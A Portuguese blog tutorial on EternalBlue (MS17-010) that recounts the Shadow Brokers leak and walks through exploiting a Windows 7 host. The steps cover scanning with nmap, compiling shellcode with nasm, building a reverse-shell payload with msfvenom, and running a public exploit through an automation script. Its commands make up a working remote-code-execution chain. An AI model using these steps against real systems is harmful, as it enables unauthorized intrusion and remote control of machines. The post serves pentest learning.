MS17-010 - Eternal Blue - Automatic Script
Eternal Blue e uma breve história.
2016
13 de agosto de 2016
O grupo Shadow Brokers divulgou uma lista de ferramentas dizendo pertencer a NSA - National Security Agency, TAO - Tailored Access Operation e do Equation Group.
2017
14 de abril de 2017
O grupo Shadow Brokers divulga um framework chamado FUZZBUNCH no qual inclui diversos exploits e malwares para Windows dentre os exploits está o EternalBlue.
Eternal Blue
É uma vulnerabilidade do windows que causa um buffer overflow através do uso do protocolo SMBv1. O eternalblue pode ser executado de forma remota, isto é, o payload pode ser enviado através do SMBv1 exposto na internet, e pode ser usado em máquinas com arquitetura x86 e x64 com sistema operacional Windows.
Cenário: Ao realizar um scan com nmap, localizo uma máquina com a porta SMB-445 aberta e, em seguida, executo o conjunto de script NSE do nmap para vulnerabilidades no SMB e identifico que a máquina é vulnerável ao EternalBlue (MS17-010).
Usando o crackmapexec consigo confirmar a versão do S.O.
Ao pesquisar por um exploit pronto, encontrei no github o repo worawit O processo de exploração da vulnerabilidade EternalBlue requer algumas etapas que eu "automatizei" em um shell script para facilitar. Após clonar o repositório worawit, a primeira etapa é a compilação do shellcode com o nasm
nasm -f bin eternalblue_kshellcode_x86.asm -o scx86.bin
Na segunda etapa é gerado o payload com a configuração para a shell reversa com o msfvenom
msfvenom -p windows/shell_reverse_tcp -f raw -a x86 -o scx86_msf.bin EXITFUNC=thread LHOST=IP LPORT=PORT
O payload final é um merge entre o shellcode gerado na etapa 1 com o executável gerado com o msfvenom
cat scx86.bin scx86_msf.bin > final_sc_x86.bin
Todas essas etapas eu compilei em um shell script disponível no meu repositório do github:
MS17-010-Automatic-x86-exploit.sh
Para o exploit funcionar foi necessário fazer a execução com python2 e, para não ter conflito de versão, eu criei um ambiente virtual para o python2.
virtualenv -p /usr/bin/python2.7 py2
source py2/bin/activate
Vale ressaltar aqui a lista de arquivos que devem estar dentro do mesmo diretório para que o exploit funcione.
Dentro do diretório chamado shellcode, os seguintes arquivos foram adicionados:
Arquivos do exploit coletados do repo worawit:
eternalblue_kshellcode_x64.asm
eternalblue_kshellcode_x86.asm
Script para execução do exploit coletado do repo worawit:
eternalblue_exploit7.py
Script customizado para automatizar a execução das etapas pré-exploração e execução do exploit:
MS17-010-Automatic-x86-exploit.sh
Diretório do ambiente virtual para uso do Python2
py2
Depois de seguir toda organização do ambiente, basta executar o script MS17-010-Automatic-x86-exploit.sh, conforme as imagens abaixo:
Shell Reversa
Essa foi a demostração de exploração da vulnerabilidade EternalBlue em uma máquina windows 7. É uma vulnerabilidade antiga mas vale o aprendizado devido ao impacto que causou e todo o contexto histórico como "pano" de fundo da época em que o EternalBlue foi divulgado.
Referência:
[+] Risk Sense White Paper Eternal Blue
https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
[+] Read Docs Crackmapexec
https://ptestmethod.readthedocs.io/en/latest/cme.html
[+] Repositório com o exploit do Eternal Blue (worawit)
https://github.com/worawit/MS17-010
[+] Repositório com o script para automatizar a execução do exploit
https://github.com/carineconstantino/pentest-scripts/tree/main/CVE/MS17-010-Automatic-Script
Comentários
Postar um comentário